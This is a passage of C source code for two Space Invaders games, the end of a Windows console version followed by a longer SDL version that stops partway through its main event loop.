                && (world[y+1][x] != enemy & world[y+1][x] != enemyShielded)){
                world[y+1][x] = enemyLaser;
                world[y][x] = ' ';
                }
                else if (i%2 == 0 && world[y][x] == enemyLaser
                && (world[y+1][x] == enemy | world[y+1][x] == enemyShielded)){
                    world[y][x] = ' ';
                }
            }
        }
        for (x = 0; x < sizex; x ++) {
            for (y = 0; y < sizey; y ++) {
                if ((i % 5) == 0 && (world[y][x] == enemyShielded
                | world[y][x] == enemy) && (rand() % 15) > 13
                && world[y+1][x] != playerLaser) {
                    for (yi = y+1; yi < sizey; yi ++) {
                        if (world[yi][x] == enemy
                        | world[yi][x] == enemyShielded) {
                            enemyReady = 0;
                            break;
                        }
                        enemyReady = 1;
                    }
                    if (enemyReady) {
                        world[y+1][x] = enemyLaser;
                    }
                }
                if (world[y][x] == playerLaser && world[y-1][x] == enemy) {
                    world[y][x] = ' ';
                    world[y-1][x] = explosion;
                    currentEnemies --;
                    score = score + 50;
                }
                else if (world[y][x] == playerLaser
                && world[y-1][x] == enemyShielded) {
                    world[y][x] = ' ';
                    world[y-1][x] = enemy;
                    currentEnemies --;
                    score = score + 50;
                }
                else if (world[y][x] == playerLaser
                && world[y-1][x] == enemyLaser) {
                    world[y][x] = ' ';
                }
                else if (world[y][x] == explosion) {
                    world[y][x] = ' ';
                }
                else if ((i+1) % 2 == 0 && world[y][x] == enemyLaser
                && world[y+1][x] == player) {
                    world[y+1][x] = explosion;
                    world[y][x] = ' ';
                    victory = 0;
                }
                else if (world[y][x] == playerLaser
                && world[y-1][x] != enemyLaser) {
                        world[y][x] = ' ';
                        world[y-1][x] = playerLaser;
                }
            }
        }

        /*update enemy direction*/
        for (y = 0; y < sizey; y ++) {
            if (world[y][0] == enemy) {
                direction = 'r';
                drop = 1;
                break;
            }
            if (world[y][sizex-1] == enemy){
                direction = 'l';
                drop = 1;
                break;
            }
        }

        /*update board*/
        if (i % enemySpeed == 0) {
            if (direction == 'l') {
                for (x = 0; x < sizex - 1; x ++) {
                    for (y = 0; y < sizey; y ++) {
                        if (drop && (world[y-1][x+1] == enemy
                            || world[y-1][x+1] == enemyShielded)){
                            world[y][x] = world[y-1][x+1];
                            world[y-1][x+1] = ' ';
                        }
                        else if (!drop && (world[y][x+1] == enemy
                            || world[y][x+1] == enemyShielded)) {
                            world[y][x] = world[y][x+1];
                            world[y][x+1] = ' ';
                        }
                    }
                }
            }
            else {
                for (x = sizex; x > 0; x --) {
                    for (y = 0; y < sizey; y ++) {
                        if (drop && (world[y-1][x-1] == enemy
                            || world[y-1][x-1] == enemyShielded)) {
                            world[y][x] = world[y-1][x-1];
                            world[y-1][x-1] = ' ';
                        }
                        else if (!drop && (world[y][x-1] == enemy
                            || world[y][x-1] == enemyShielded)) {
                            world[y][x] = world[y][x-1];
                            world[y][x-1] = ' ';
                        }
                    }
                }
            }
            for (x = 0; x < sizex; x ++) {
                if (world[sizey - 1][x] == enemy) {
                    victory = 0;
                }
            }
        }

        /*control player*/
        if(kbhit()){
            keyPress = getch();
        }
        else {
            keyPress = ' ';
        }
        if (keyPress == 'a') {
            for (x = 0; x < sizex; x = x+1) {
                if ( world[sizey-1][x+1] == player) {
                    world[sizey-1][x] = player;
                    world[sizey-1][x+1] = ' ';
                }
            }
        }

        if (keyPress == 'd') {
            for (x = sizex - 1; x > 0; x = x-1) {
                if ( world[sizey-1][x-1] == player) {
                    world[sizey-1][x] = player;
                    world[sizey-1][x-1] = ' ';
                }
            }
        }
        if (keyPress == 'm' && laserReady > 2) {
            for (x = 0; x < sizex; x = x+1) {
                if ( world[sizey-1][x] == player) {
                    world[sizey - 2][x] = playerLaser;
                    laserReady = 0;
                }
            }
        }
        i ++;
        Sleep(50);
    }
    system("cls");
        printf("    SCORE:    %d", score);
        printf("\n");
            for (y = 0; y < sizey; y ++) {
            printf("|");
                for (x = 0; x < sizex; x ++) {
                    printf("%c",world[y][x]);
                }
            printf("|");
            printf("\n");
            }
    Sleep(1000);
    system("cls");
    if (victory != 0) {
        printf("\n \n \n \n \n \n              CONGRATULATIONS! \n \n \n \n \n");
        Sleep(1000);
        printf("\n \n              Score: %d", score);
        Sleep(1000);
        int bonus = totalEnemies*20 - i;
        printf("\n \n              Bonus: %d", bonus);
        Sleep(1000);
        printf("\n \n              Total Score: %d", score + bonus);
        printf("\n \n \n \n              Well done");
        Sleep(1000);
        printf(", Hero.");
        Sleep(1000);
        getch();
    }
    else {
        printf("\n \n \n \n \n \n              You have failed.");
        Sleep(1000);
        printf("\n \n \n \n \n \n              Windows is doomed.");
        Sleep(1000);
        printf("\n \n              Final Score: %d", score);
        getch();
    }
}

Codigo en C con SDL

Código:

//known bugs
//some times the bullet wont go past through a base if it hits on the far left edge. cause unknowen
//its the same bug that i found in my invaders drawing code. using the objects own hitbox as the SDL_Rect
//as the destination rectangle to blit to. using a seperate local rect in the drawing code solves it.
#include <stdlib.h>
#include <stdio.h>
#include "SDL/SDL.h"

#define SCREEN_WIDTH 800
#define SCREEN_HEIGHT 600
#define E_WIDTH 30
#define WIDTH 600
#define HEIGHT 600
#define E_WIDTH 30
#define E_HEIGHT 30
#define P_WIDTH 30
#define P_HEIGHT 10
#define B_WIDTH 5
#define B_HEIGHT 15
#define P_BULLETS 1
#define E_BULLETS 3
#define BASE 4
#define BASE_WIDTH 60
#define BASE_HEIGHT 40

/*TODO
* Comment the hell out of this.
*/

enum colour_t {red, green, purple};
enum direction_t {left, right, stationary};
enum state_t {menu, options, game, game_over, pause};
enum ck_t {magenta, lime};

struct score_t {

        unsigned int shots;
        unsigned int points;
        unsigned int level;
};

struct saucer_t {
       
        SDL_Rect hitbox;
        unsigned int alive;
        enum direction_t direction;
};

struct enemy_t {

        SDL_Rect hitbox;
        enum colour_t colour;
        unsigned int alive;
        unsigned int points;
};

struct invaders_t {

        struct enemy_t enemy[5][10];
        enum direction_t direction;
        unsigned int killed;
        int speed;
        int state;
        int state_speed;
        Uint32 state_time;
};

struct base_t {

        SDL_Rect hitbox;
};

struct player_t {

        SDL_Rect hitbox;
        int lives;
};

struct bullet_t {
       
        SDL_Rect hitbox;
        unsigned int alive;
};

//global variables, for convenience.
static SDL_Surface *screen;
static SDL_Surface *title_screen;
static SDL_Surface *cmap;
static SDL_Surface *invadersmap;
static SDL_Surface *player_img;
static SDL_Surface *saucer_img;
static SDL_Surface *base_img[4];
static SDL_Surface *damage_img;
static SDL_Surface *damage_top_img;
static SDL_Surface *game_over_img;
struct score_t score;
struct invaders_t invaders;
struct saucer_t saucer;
struct base_t base[BASE];
struct player_t player;
struct bullet_t bullets[P_BULLETS];
struct bullet_t e_bullets[E_BULLETS];
unsigned int pause_len;
Uint32 pause_time;
enum state_t state;
Uint32 title_time;

void draw_string(char s[], int x, int y);
void pause_for(unsigned int len);

int load_image(char filename[], SDL_Surface **surface, enum ck_t colour_key);

//Initialize the score structure and game state
void init_score() {

        score.shots = 0;
        score.points = 0;
        score.level = 1;
}

//Initialize the enemies starting positions, direction, speed and colour
void init_invaders() {
       
        invaders.direction = right;
        invaders.speed = 1;
        invaders.state = 0;
        invaders.killed = 0;
        invaders.state_speed = 1000;
        invaders.state_time = SDL_GetTicks();

        int i,j;
        int x = 0;
        int y = 30;
       
        for (i = 0; i < 5; i++) {
       
                for (j = 0; j < 10; j++) {
               
                        invaders.enemy[i][j].alive = 1;
                        invaders.enemy[i][j].hitbox.x = x;
                        invaders.enemy[i][j].hitbox.y = y;
                        invaders.enemy[i][j].hitbox.w = E_WIDTH;
                        invaders.enemy[i][j].hitbox.h = E_HEIGHT;
                       
                        x += E_WIDTH + 15; // gap size
                       
                        if (i == 0) {
                               
                                invaders.enemy[i][j].colour = purple;
                                invaders.enemy[i][j].points = 30;
       
                        } else if (i >= 1 && i < 3) {
                       
                                invaders.enemy[i][j].colour = green;
                                invaders.enemy[i][j].points = 20;
               
                        } else {
               
                                invaders.enemy[i][j].colour = red;
                                invaders.enemy[i][j].points = 10;
                        }
                }
               
                x = 0; //reset line
                y += E_HEIGHT + 15;
        }
}

//Initialize the player starting position and dimensions
void init_player() {

        player.hitbox.x = (WIDTH / 2) - (P_WIDTH / 2);
        player.hitbox.y = HEIGHT - (P_HEIGHT + 10);
        player.hitbox.w = P_WIDTH;
        player.hitbox.h = P_HEIGHT;
        player.lives = 3;
}

//Initialize the bases starting position and dimensions
void init_bases() {

        int i;
        int base_total = BASE_WIDTH * 4;
        int space_left = WIDTH - base_total;
        int even_space = space_left / 5; // 5 gaps
        int x = even_space;
        int y = 500;

        for (i = 0; i < BASE; i++) {
               
                base[i].hitbox.x = x;
                base[i].hitbox.y = y;
                base[i].hitbox.w = BASE_WIDTH;
                base[i].hitbox.h = BASE_HEIGHT;
               
                x += BASE_WIDTH + even_space; //distance apart
        }

        load_image("base.bmp", &base_img[0], magenta);
        load_image("base.bmp", &base_img[1], magenta);
        load_image("base.bmp", &base_img[2], magenta);
        load_image("base.bmp", &base_img[3], magenta);
}

//Initialize the player bullets dimensions
void init_bullets(struct bullet_t b[], int max) {

        int i;

        for (i = 0; i < max; i++) {
       
                b[i].alive = 0;
                b[i].hitbox.x = 0;
                b[i].hitbox.y = 0;
                b[i].hitbox.w = B_WIDTH;
                b[i].hitbox.h = B_HEIGHT;
        }
}

//Initialize the saucer position and dimensions
void init_saucer() {

        saucer.hitbox.x = 0;       
        saucer.hitbox.y        = 0;
        saucer.hitbox.w        = 30;
        saucer.hitbox.h = 20;
        saucer.alive = 0;
        saucer.direction = right;
}

//Draw the background
void draw_background () {

        SDL_Rect src;

        src.x = 0;
        src.y = 0;
        src.w = screen->w;
        src.h = screen->h;
       
        SDL_FillRect(screen,&src,0);
}

//Draw the HUD
void draw_hud() {
       
        SDL_Rect r;
       
        r.x = WIDTH;
        r.y = 0;
        r.w = SCREEN_WIDTH - WIDTH;
        r.h = SCREEN_HEIGHT;

        SDL_FillRect(screen, &r, 41);
       
        char score_label[] = "Score";
        draw_string(score_label, WIDTH, 0);
       
        char score_num[10];
        snprintf(score_num, 10, "%d", score.points);
        draw_string(score_num, WIDTH, 20);

        char level[] = "Level";
        draw_string(level, WIDTH, 60);
       
        char level_num[2];
        snprintf(level_num, 2, "%d", score.level);
        draw_string(level_num, WIDTH, 80);
       
        char lives[] = "Lives";
        draw_string(lives, WIDTH, 120);
       
        char lives_num[2];
        snprintf(lives_num, 2, "%d", player.lives);
        draw_string(lives_num, WIDTH, 140);
       
        char author[] = "Coded by";
        draw_string(author, WIDTH, 540);
       
        char name[] = "J lambert";
        draw_string(name, WIDTH, 560);
}

//Draw the title screen
void draw_title_screen() {
       
        SDL_Rect src;
        SDL_Rect dest;

        src.x = 0;
        src.y = 0;
        src.w = title_screen->w;
        src.h = title_screen->h;

        dest.x = (SCREEN_WIDTH / 2) - (title_screen->w / 2);
        dest.y = 0;
        dest.w = title_screen->w;
        dest.h = title_screen->h;
       
        SDL_BlitSurface(title_screen, &src, screen, &dest);
}

//Draw the saucer if its alive
void draw_saucer() {

        SDL_Rect src;
       
        src.x = 0;
        src.y = 0;
        src.w = 30;
        src.h = 20;
       
        if (saucer.alive == 1) {
               
                SDL_BlitSurface(saucer_img, &src, screen, &saucer.hitbox);
        }
}

//Draw the invaders if there alive
void draw_invaders() {

        SDL_Rect src, dest;
        int i,j;
       
        src.w = E_WIDTH;
        src.h = E_HEIGHT;
       
        for (i = 0; i < 5; i++) {
               
                for (j = 0; j < 10; j++) {
                       
                        if (invaders.enemy[i][j].alive == 1) {
                               
                                //purple
                                if(i == 0) {       
                                       
                                        if (invaders.state == 0) {
                                               
                                                src.x = 0;
                                                src.y = 0;
                                       
                                        } else {
                                               
                                                src.x = 30;
                                                src.y = 0;                               
                                        }
                               
                                //green
                                } else if (i > 0 && i < 3) {
                                       
                                        if (invaders.state == 0) {
                                               
                                                src.x = 0;
                                                src.y = E_HEIGHT;

                                        } else {
                                               
                                                src.x = 30;
                                                src.y = E_HEIGHT;
                                        }

                                //red
                                } else {
                                       
                                        if (invaders.state == 0) {
                                       
                                                src.x = 0;
                                                src.y = E_HEIGHT * 2;
                                       
                                        } else {
                                       
                                                src.x = 30;
                                                src.y = E_HEIGHT * 2;       
                                        }
                                }

                                dest.x = invaders.enemy[i][j].hitbox.x;
                                dest.y = invaders.enemy[i][j].hitbox.y;
                                dest.w = invaders.enemy[i][j].hitbox.w;
                                dest.h = invaders.enemy[i][j].hitbox.h;
                               
                                SDL_BlitSurface(invadersmap, &src, screen, &dest);
                        }
                }
        }
}

//Draw the bases
void draw_bases() {

        SDL_Rect src;

        src.x = 0;
        src.y = 0;
        src.w = BASE_WIDTH;
        src.h = BASE_HEIGHT;

        int i;

        for(i = 0; i < BASE; i++) {
               
                SDL_BlitSurface(base_img[i], &src, screen, &base[i].hitbox);
        }
}

//Draw the player
void draw_player() {

        SDL_Rect src;

        src.x = 0;
        src.y = 0;
        src.w = P_WIDTH;
        src.h = P_HEIGHT;

        SDL_BlitSurface(player_img, &src, screen, &player.hitbox);
}

//Draw both the enemy and the players bullets if there alive
void draw_bullets(struct bullet_t b[], int max) {

        //Uint8 c = SDL_MapRGB(screen->format, 255, 255, 255);
        int i;


        for (i = 0; i < max; i++) {
       
                if (b[i].alive == 1) {
               
                        SDL_FillRect(screen, &b[i].hitbox, 255);
                }
        }
}

//Draw a char
int draw_char(char c, int x, int y) {

        SDL_Rect src;
        SDL_Rect dest;
        int i,j;
        char *map[] = {"ABCDEFGHIJKLMNOPQRSTUVWXYZ",
                        "abcdefghijklmnopqrstuvwxyz",
                        "!@#$%^&*()_+{}|:\"<>?,.;'-=",
                        "0123456789"};

        src.x = 0;
        src.y = 0;
        src.w = 20;
        src.h = 20;
       
        dest.x = x;
        dest.y = y;
        dest.w = 20;
        dest.h = 20;

        for (i = 0; i < 4; i++) {
       
                for(j = 0; j < strlen(map[i]); j++) {
                       
                        if (c == map[i][j]) {
                       
                                SDL_BlitSurface(cmap, &src, screen, &dest);
                                return 0;
                        }

                        src.x += 20;
                }
       
                src.y += 20;//move down one line on the image file
                src.x = 0; //reset to start of line
        }

        return 0;
}

//Draw a string of chars
void draw_string(char s[], int x, int y) {

        int i;

        for (i = 0; i < strlen(s); i++) {
       
                draw_char(s[i],x,y);
                x += 20;
        }
}

//Draw Game Over message
void draw_game_over() {
               
        SDL_Rect src;
        SDL_Rect dest;

        src.x = 0;
        src.y = 0;
        src.w = game_over_img->w;
        src.h = game_over_img->h;

        dest.x = (WIDTH / 2) - (game_over_img->w / 2);
        dest.y = (HEIGHT / 2) - (game_over_img->h / 2);
        dest.w = game_over_img->w;
        dest.h = game_over_img->h;
       
        SDL_BlitSurface(game_over_img, &src, screen, &dest);
}

//Set invader movment speed
void set_invaders_speed() {

        switch (invaders.killed) {
               
                case 10:

                        invaders.speed = 2;
                        invaders.state_speed = 800;
                        break;
               
                case 20:

                        invaders.speed = 4;
                        invaders.state_speed = 600;
                        break;
               
                case 30:

                        invaders.speed = 8;
                        invaders.state_speed = 200;
                        break;
               
                case 40:

                        invaders.speed = 16;
                        invaders.state_speed = 0;
                        break;
        }
}

//Move positions of both enemy and player bullets on screen
int move_bullets(struct bullet_t b[], int max, int speed) {
       
        int i;

        for(i = 0; i < max; i++) {
       
                if (b[i].alive == 1) {
                       
                        b[i].hitbox.y += speed;
                       
                        if (b[i].hitbox.y <= 0) {
               
                                b[i].alive = 0;       
                        }
                       
                        if (b[i].hitbox.y + b[i].hitbox.h >= HEIGHT) {
               
                                b[i].alive = 0;       
                        }
                }
        }

        return 0;
}

//Move invaders down one space once the reach the edge
void move_invaders_down() {

        int i,j;

        for (i = 0; i < 5; i++) {
               
                for (j = 0; j < 10; j++) {
               
                        invaders.enemy[i][j].hitbox.y += 15;
                }
        }
}

//Move invaders based on there current direction
int move_invaders(int speed) {
       
        set_invaders_speed();
       
        int i,j;

        switch (invaders.direction) {
               
                case left:
               
                        for (i = 0; i < 10; i++) {
                       
                                for (j = 0; j < 5; j++) {
                               
                                        if (invaders.enemy[j][i].alive == 1) {
               
                                                if (invaders.enemy[j][i].hitbox.x <= 0) {
                                               
                                                        invaders.direction = right;
                                                        move_invaders_down();
                                                        return 0;
                                                }
                                               
                                                if (invaders.state_time + invaders.state_speed < SDL_GetTicks()) {
                                               
                                                        invaders.state_time = SDL_GetTicks();
                                                       
                                                        if (invaders.state == 1) {
                                                               
                                                                invaders.state = 0;

                                                        } else {
                                                               
                                                                invaders.state = 1;
                                                        }
                                                }
                                               
                                                //move invader speed number of pixels
                                                invaders.enemy[j][i].hitbox.x -= invaders.speed;
                                        }
                                }
                        }

                        break;

                case right:
                       
                        for (i = 9; i >= 0; i--) {
                       
                                for (j = 0; j < 5; j++) {
                               
                                        if (invaders.enemy[j][i].alive == 1) {
                                       
                                                if (invaders.enemy[j][i].hitbox.x + E_WIDTH >= WIDTH) {
                                       
                                                        invaders.direction = left;
                                                        move_invaders_down();
                                                        return 0;
                                                }
               
                                                if (invaders.state_time + invaders.state_speed < SDL_GetTicks()) {
                                               
                                                        invaders.state_time = SDL_GetTicks();

                                                        if (invaders.state == 1) {
                                                               
                                                                invaders.state = 0;

                                                        } else {
                                                               
                                                                invaders.state = 1;
                                                        }
                                                }
                                               
                                                invaders.enemy[j][i].hitbox.x += invaders.speed;
                                        }
                                }
                        }

                        break;

                default:
                        break;

        }

        return 0;
}

//Move player left or right
void move_player(enum direction_t direction) {

        if (direction == left) {
                       
                if (player.hitbox.x > 0) {
                       
                        player.hitbox.x -= 10;
                }

        } else if (direction == right) {

                if (player.hitbox.x + player.hitbox.w < WIDTH){

                        player.hitbox.x += 10;
                }
        }
}

//Move saucer based on there current direction
void move_saucer() {

        if (saucer.alive == 1) {

                if (saucer.direction == left) {
               
                        saucer.hitbox.x -= 5;

                        if (saucer.hitbox.x < 0) {
                               
                                saucer.alive = 0;
                                saucer.hitbox.x = 0;
                                saucer.direction = right;
                        }
                }

                if (saucer.direction == right) {
               
                        saucer.hitbox.x += 5;

                        if (saucer.hitbox.x + saucer.hitbox.w > WIDTH) {
                       
                                saucer.alive = 0;
                                saucer.hitbox.x = WIDTH - saucer.hitbox.w;
                                saucer.direction = left;
                        }
                }
        }
}

//Detect any collision between any two non rotated rectangles
int collision(SDL_Rect a, SDL_Rect b) {

        if (a.y + a.h < b.y) {
       
                return 0;
        }
                               
        if (a.y > b.y + b.h) {
                                       
                return 0;
        }
                               
        if (a.x > b.x + b.w) {
                                       
                return 0;
        }
                       
        if (a.x + a.w < b.x) {
                                       
                return 0;
        }

        return 1;
}

//Create damage to the base sprite for player and enemy bullet collisions
void bullet_base_damage(struct base_t *base, int b_num, struct bullet_t *bullet, int l) {

        int i;
        int x,y;
        SDL_Rect src;
        SDL_Rect dest;
                               
        SDL_LockSurface(base_img[b_num]);
        Uint8 *raw_pixels;

        raw_pixels = (Uint8 *) base_img[b_num]->pixels;
       
        int pix_offset;

        //bottom
        if (l == 0) {
       
                //how far from the left did the bullet hit the base sprite
                x = (bullet->hitbox.x + 3) - base->hitbox.x;

                //start from bottom of the base sprite
                y = base->hitbox.h - 1;

                for(i = 0; i < base->hitbox.h; i++) {
               
                        //the x calculation can get us to pixel column 60 when 59 is the maximum (0 - 59 is 60 pixels)
                        if (x >= BASE_WIDTH) {
                                x = BASE_WIDTH - 1;
                        }

                        pix_offset = y * base_img[b_num]->pitch  + x;       

                        //found part part of the base sprite that is NOT magenta(index)
                        //searching from the bottom up
                        if (raw_pixels[pix_offset] != 227) {
                                       
                                bullet->alive = 0;
                               
                                src.x = 0;
                                src.y = 0;
                                src.w = 11;
                                src.h = 15;

                                dest.x = x - 3;
                                dest.y = y - 14;
                                dest.w = 11;
                                dest.h = 15;
                               
                                SDL_UnlockSurface(base_img[b_num]);
                                SDL_BlitSurface(damage_img, &src, base_img[b_num], &dest);
                               
                                break;
                        }
                       
                        y--;
                }
        }
       
        //top
        if (l == 1) {

                //how far from the left did the bullet hit the base sprite
                x = (bullet->hitbox.x + 3) - base->hitbox.x;

                //start from top of the base sprite
                y = 0;
               
                for(i = 0; i < base->hitbox.h; i++) {
                       
                        //the x calculation can get us to pixel column 60 when 59 is the maximum (0 - 59 is 60 pixels)
                        if (x >= BASE_WIDTH) {
                                x = BASE_WIDTH - 1;
                        }

                        pix_offset = y * base_img[b_num]->pitch  + x;       
               
                        //found part part of the base sprite that is NOT magenta(index)
                        //searching from the top down
                        if (raw_pixels[pix_offset] != 227) {
                                       
                                bullet->alive = 0;
                       
                                src.x = 0;
                                src.y = 0;
                                src.w = 11;
                                src.h = 15;

                                dest.x = x - 3;
                                dest.y = y;
                                dest.w = 11;
                                dest.h = 15;
                               
                                SDL_UnlockSurface(base_img[b_num]);
                                SDL_BlitSurface(damage_top_img, &src, base_img[b_num], &dest);
                               
                                break;
                        }
                       
                        y++;
                }
        }

        SDL_UnlockSurface(base_img[b_num]);
}

//Create damage to the base sprite for enemy and base collisions
void enemy_base_damage(struct enemy_t *enemy, struct base_t *base, int index) {
       
        int x,y;
        SDL_Rect dest;

        //the x hot spot is taken from the top left of the sprite with the speed in pixels
        //added ahead in case the enemy skips the last few pixels of the sprite and
        //the collision is no longer detected. Speed in pixels is subtracted if traveling left
       
        if (invaders.direction == right) {
       
                x = (enemy->hitbox.x + invaders.speed) - base->hitbox.x;
                y = enemy->hitbox.y - base->hitbox.y;
               
                if (x > 0) {
                       
                        dest.x = 0;
                        dest.y = y;
                        dest.w = x;
                        dest.h = enemy->hitbox.h;
               
                        SDL_FillRect(base_img[index], &dest, 227);
                }
       
        } else if (invaders.direction == left){
               
                x = (enemy->hitbox.x + (enemy->hitbox.w - 1)) - invaders.speed;
                x = x - base->hitbox.x;
                y = enemy->hitbox.y - base->hitbox.y;

                if (x < base->hitbox.w) {
               
                        dest.x = x;
                        dest.y = y;
                        dest.w = base->hitbox.w - 1;
                        dest.h = enemy->hitbox.h;
               
                        SDL_FillRect(base_img[index], &dest, 227);
                }
        }               
}

//Look for collisions based on enemy and base rectangles
void enemy_base_collision() {

        int i,j,k,c;

        for (i = 0; i < 5; i++) {

                for (j = 0;  j < 10; j++) {
               
                        for (k = 0;  k < BASE; k++) {
                       
                                if (invaders.enemy[i][j].alive == 1) {
                               
                                        c = collision(invaders.enemy[i][j].hitbox,base[k].hitbox);               
                                       
                                        if (c == 1) {
                                               
                                                enemy_base_damage(&invaders.enemy[i][j], &base[k], k);
                                        }
                                }
                        }
                }
        }
}

//Look for collisions based on player bullet and invader rectangles
void enemy_hit_collision() {

        int i,j,k,c;
       
        for (i = 0; i < 5; i++) {
               
                for (j = 0; j < 10; j++) {
                       
                        if (invaders.enemy[i][j].alive == 1) {
                       
                                for (k = 0; k < P_BULLETS; k++) {
                       
                                        if (bullets[k].alive == 1) {
                                               
                                                c = collision(bullets[k].hitbox, invaders.enemy[i][j].hitbox);
                               
                                                if (c == 1) {
                               
                                                        invaders.enemy[i][j].alive = 0;
                                                        bullets[k].alive = 0;
                                                        bullets[k].hitbox.x = 0;
                                                        bullets[k].hitbox.y = 0;
                                                        invaders.killed++;
                                                        score.points += invaders.enemy[i][j].points;
                                                }
                                        }
                                }
                        }
                }
        }
}

//Look for collisions based on enemy bullet and player rectangles
void player_hit_collision() {

        int i,c;

        for(i = 0; i < E_BULLETS; i++) {
       
                if (e_bullets[i].alive == 1) {

                        c = collision(e_bullets[i].hitbox, player.hitbox);

                        if (c == 1) {
                               
                                if (player.lives >= 0) {
                               
                                        player.lives--;
                                        pause_for(500);
                                }
                        }
                }
        }
}

//Look for collisions based on player bullet and saucer rectangles
void saucer_hit_collision() {

        int i,c;

        if (saucer.alive == 1) {
       
                for(i = 0; i < P_BULLETS; i++) {
       
                        if (bullets[i].alive == 1) {
                       
                                c = collision(bullets[i].hitbox, saucer.hitbox);
       
                                if (c == 1) {
                               
                                        int r = rand() % 3;
                                       
                                        switch (r) {
                       
                                                case 0:
                                                        score.points += 50;
                                                        break;
       
                                                case 1:
                                                        score.points += 150;
                                                        break;
       
                                                case 2:
                                                        score.points += 300;
                                                        break;
       
                                                default:
                                                        break;
                                        }
                                       
                                        //sucer was hit reset for next time
                                        saucer.alive = 0;
                                       
                                        if (saucer.direction == left) {
                                               
                                                saucer.hitbox.x = 0;
                                                saucer.direction = right;
       
                                        } else if (saucer.direction == right) {
                                       
                                                saucer.hitbox.x = WIDTH - saucer.hitbox.w;
                                                saucer.direction = left;
                                        }
                                }
                        }
                }
        }
}

//Look for collisions based on invader and player rectangles
int enemy_player_collision() {

        int i,j,c;

        for(i = 0; i < 5; i++) {

                for(j = 0; j < 10; j++) {
               
                        if (invaders.enemy[i][j].alive == 1) {
                                       
                                c = collision(player.hitbox, invaders.enemy[i][j].hitbox);

                                if (c == 1) {
                               
                                        player.lives--;
                                        pause_for(500);
                                        init_invaders();
                                        init_bases();
                                        return 1;
                                }
                        }
                }
        }

        return 0;
}

//Look for collisions based on bullet and base rectangles
void bullet_base_collision(struct bullet_t b[], int max, int l) {

        int i,j,c;

        for (i = 0; i < max; i++) {
               
                for (j = 0; j < BASE; j++) {
       
                        if (b[i].alive == 1) {
                       
                                c = collision(b[i].hitbox, base[j].hitbox);

                                if (c == 1) {
                                       
                                        bullet_base_damage(&base[j], j, &b[i],l);
                                }
                        }
                }
        }
}

//Determine for game over event
void game_over_ai() {
       
        if (player.lives < 0) {
               
                state = game_over;
        }
}

//Shoot bullet/s from player
void player_shoot() {

        int i;
       
        for (i = 0; i < P_BULLETS; i++) {
                               
                if (bullets[i].alive == 0) {
                       
                        //count number of shots fired
                        score.shots++;

                        bullets[i].hitbox.x = player.hitbox.x + (P_WIDTH / 2);
                        //-5 at the end so the bullets ends closer to the top of the screen due to 30px speed
                        bullets[i].hitbox.y = player.hitbox.y - (bullets[i].hitbox.h + 10);
                        bullets[i].alive = 1;
                        break;
                }
        }
}

//Determine game level
void calculate_level() {

        if (invaders.killed != 0 && invaders.killed % 50 == 0) {
               
                score.level++;
                init_invaders();
                init_bases();
                init_saucer();
                pause_for(500);
        }
}

//Determine when saucer should appear
void saucer_ai() {

        //every 20 shots
        if (score.shots != 0 && score.shots % 20 == 0) {
       
                saucer.alive = 1;
        }
}

//Determine when invaders should shoot
void enemy_ai() {

        int i, j, k;

        for (i = 0; i < 10; i++) {
               
                for (j = 4; j >= 0; j--) {
                       
                        if (invaders.enemy[j][i].alive == 1) {
                               
                                //player
                                int mid_point = player.hitbox.x + (player.hitbox.w / 2);
                               
                                //enemy
                                int start = invaders.enemy[j][i].hitbox.x;
                                int end = invaders.enemy[j][i].hitbox.x + invaders.enemy[j][i].hitbox.w;

                                if (mid_point > start && mid_point < end) {

                                        //fire bullet if available
                                        for (k = 0; k < E_BULLETS; k++) {
                       
                                                if (e_bullets[k].alive == 0) {
                               
                                                        int r = rand() % 30;

                                                        if (r == 1) {
                                                                e_bullets[k].hitbox.x = start + (E_WIDTH / 2) ;
                                                                e_bullets[k].hitbox.y = invaders.enemy[j][i].hitbox.y;
                                                                e_bullets[k].alive = 1;
                                                        }

                                                        break;
                                                }
                                        }
                                }
                               
                                //alive enemy found reversing up the enemy grid dont check the rest of the colum
                                break;
                        }
                }
        }
}

//Determin when to pause game and how long for
void pause_game() {

        if (SDL_GetTicks() > pause_time + pause_len) {
       
                state = game;
        }
}

//Set amount of time to pause game for
void pause_for(unsigned int len) {

        state = pause;
        pause_time = SDL_GetTicks();
        pause_len = len;
}

//Load image files
int load_image(char filename[], SDL_Surface **surface, enum ck_t colour_key) {
       
        SDL_Surface *temp;
       
        //load image
        temp = SDL_LoadBMP(filename);
       
        if (temp == NULL) {
       
                printf("Unable to load %s.\n", filename);
                return 1;
        }

        Uint32 colourkey;

        /* Set the image colorkey. */
        if (colour_key == magenta) {
               
                colourkey = SDL_MapRGB(temp->format, 255, 0, 255);
       
        } else if (colour_key == lime) {
       
                colourkey = SDL_MapRGB(temp->format, 0, 255, 0);
        }

        SDL_SetColorKey(temp, SDL_SRCCOLORKEY, colourkey);

        //convert the image surface to the same type as the screen
        (*surface) = SDL_DisplayFormat(temp);
       
        if ((*surface) == NULL) {
       
                printf("Unable to convert bitmap.\n");
                return 1;
        }
       
        SDL_FreeSurface(temp);

        return 0;
}

//Main program
int main() {
       
        /* Initialize SDL’s video system and check for errors */
        if (SDL_Init(SDL_INIT_VIDEO) != 0) {

                printf("Unable to initialize SDL: %s\n", SDL_GetError());
                return 1;
        }
       
        /* Make sure SDL_Quit gets called when the program exits! */
        atexit(SDL_Quit);
       
        /*set window title*/
        SDL_WM_SetCaption("Space Invaders", "P");
       
        /* Attempt to set a 800x600 8 bit color video mode */
        screen = SDL_SetVideoMode(SCREEN_WIDTH, SCREEN_HEIGHT, 8, SDL_DOUBLEBUF );
       
        if (screen == NULL) {
               
                printf("Unable to set video mode: %s\n", SDL_GetError());
                return 1;
        }

        //load images
        load_image("titlescreen.bmp", &title_screen, magenta);
        load_image("cmap.bmp", &cmap, magenta);
        load_image("invaders.bmp", &invadersmap, magenta);
        load_image("player.bmp", &player_img, magenta);
        load_image("saucer.bmp", &saucer_img, magenta);
        load_image("gameover.bmp", &game_over_img, magenta);
        load_image("damage.bmp", &damage_img, lime);
        load_image("damagetop.bmp", &damage_top_img, lime);

        Uint32 next_game_tick = SDL_GetTicks();
        int sleep = 0;
        Uint8 *keystate = 0;
        int quit = 0;
        SDL_Event event;

        init_score();
        init_invaders();
        init_bases();
        init_player();
        init_saucer();
        init_bullets(bullets, P_BULLETS);
        init_bullets(e_bullets, E_BULLETS);
        state = menu;
        title_time = SDL_GetTicks();
               
        /* Animate */
        while (quit == 0) {
               
                /* Grab a snapshot of the keyboard. */
                keystate = SDL_GetKeyState(NULL);
               
                while (SDL_PollEvent(&event)) {

                        switch(event.type) {
                               
                                case SDL_KEYDOWN:
